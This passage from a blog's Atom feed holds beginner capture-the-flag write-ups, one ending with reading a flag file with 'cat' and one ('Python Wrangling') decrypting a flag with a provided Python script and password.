        <content type="html">&lt;p&gt;After Downloading the file using the cat command to see the content&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cat flag
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Or instead, you can use a text editor to open&lt;&#x2F;p&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Python Wrangling</title>
        <published>2022-04-02T00:00:00+00:00</published>
        <updated>2022-04-02T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/python-wrangling/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/python-wrangling/</id>
        <content type="html">&lt;p&gt;In this task we get three files namely,&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;ende.py&lt;&#x2F;li&gt;
&lt;li&gt;pw.txt&lt;&#x2F;li&gt;
&lt;li&gt;flag.txt&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;ende.py is the decryptor we should use by running once we can find that -e is for encrypting and -d is for decrypting.&lt;&#x2F;p&gt;
&lt;p&gt;In the pw.txt we get a password&lt;&#x2F;p&gt;
&lt;p&gt;after we run the python script with the encrypted flag it asks us for a password now use the password in the pw.txt file&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;jmvrp-gallery.netlify.app&#x2F;pictures&#x2F;pythonwrangling&#x2F;pythonwrangling.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
    </entry>
</feed>
